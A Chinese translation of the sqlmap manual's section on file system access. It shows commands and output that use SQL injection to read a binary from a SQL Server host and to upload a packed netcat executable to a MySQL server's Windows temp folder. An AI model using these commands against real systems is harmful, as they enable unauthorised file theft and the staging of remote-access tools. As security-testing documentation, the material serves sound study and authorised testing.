访问文件系统

译自:File system access

读取数据库服务器文件系统文件

选项:--file-read

当后端 DBMS(Database Management System,数据库管理系统)为 MySQL,PostgreSQL 或者 Microsoft SQL Server,并且当前会话用户拥有利用数据库特定功能和相关架构弱点的权限时,sqlmap 能够直接读取底层文件系统中文件的内容。文件可以是文本文件或者二进制文件,sqlmap 都能够正确地处理相关文件。

这些技术的相关详情可见白皮书通过高级 SQL 注入完全控制操作系统

下面是以 Microsoft SQL Server 2005 为目标,获取二进制文件的例子:

  1. $ python sqlmap.py -u "http://192.168.136.129/sqlmap/mssql/iis/get_str2.asp?nam\
  2. e=luther" --file-read "C:/example.exe" -v 1
  3. [...]
  4. [hh:mm:49] [INFO] the back-end DBMS is Microsoft SQL Server
  5. web server operating system: Windows 2000
  6. web application technology: ASP.NET, Microsoft IIS 6.0, ASP
  7. back-end DBMS: Microsoft SQL Server 2005
  8. [hh:mm:50] [INFO] fetching file: 'C:/example.exe'
  9. [hh:mm:50] [INFO] the SQL query provided returns 3 entries
  10. C:/example.exe file saved to: '/software/sqlmap/output/192.168.136.129/files/
  11. C__example.exe'
  12. [...]
  13. $ ls -l output/192.168.136.129/files/C__example.exe
  14. -rw-r--r-- 1 inquis inquis 2560 2011-MM-DD hh:mm output/192.168.136.129/files/C_
  15. _example.exe
  16. $ file output/192.168.136.129/files/C__example.exe
  17. output/192.168.136.129/files/C__example.exe: PE32 executable for MS Windows (GUI
  18. ) Intel 80386 32-bit

向数据库服务器的文件系统上传文件

选项:--file-write--file-dest

当后端 DBMS 为 MySQL,PostgreSQL 或者 Microsoft SQL Server,并且当前会话用户拥有利用数据库特定功能和相关架构弱点的权限时,sqlmap 能够向数据库服务器文件系统上传一个本地文件。文件可以是文本文件或者二进制文件,sqlmap 都能够正确地处理相关文件。

这些技术的相关详情可见白皮书通过高级 SQL 注入完全控制操作系统

下面是以 MySQL 为目标,向服务器提交一个经过 UPX 压缩的二进制文件的例子:

  1. $ file /software/nc.exe.packed
  2. /software/nc.exe.packed: PE32 executable for MS Windows (console) Intel 80386 32
  3. -bit
  4. $ ls -l /software/nc.exe.packed
  5. -rwxr-xr-x 1 inquis inquis 31744 2009-MM-DD hh:mm /software/nc.exe.packed
  6. $ python sqlmap.py -u "http://192.168.136.129/sqlmap/mysql/get_int.aspx?id=1" -\
  7. -file-write "/software/nc.exe.packed" --file-dest "C:/WINDOWS/Temp/nc.exe" -v 1
  8. [...]
  9. [hh:mm:29] [INFO] the back-end DBMS is MySQL
  10. web server operating system: Windows 2003 or 2008
  11. web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
  12. back-end DBMS: MySQL >= 5.0.0
  13. [...]
  14. do you want confirmation that the file 'C:/WINDOWS/Temp/nc.exe' has been success
  15. fully written on the back-end DBMS file system? [Y/n] y
  16. [hh:mm:52] [INFO] retrieved: 31744
  17. [hh:mm:52] [INFO] the file has been successfully written and its size is 31744 b
  18. ytes, same size as the local file '/software/nc.exe.packed'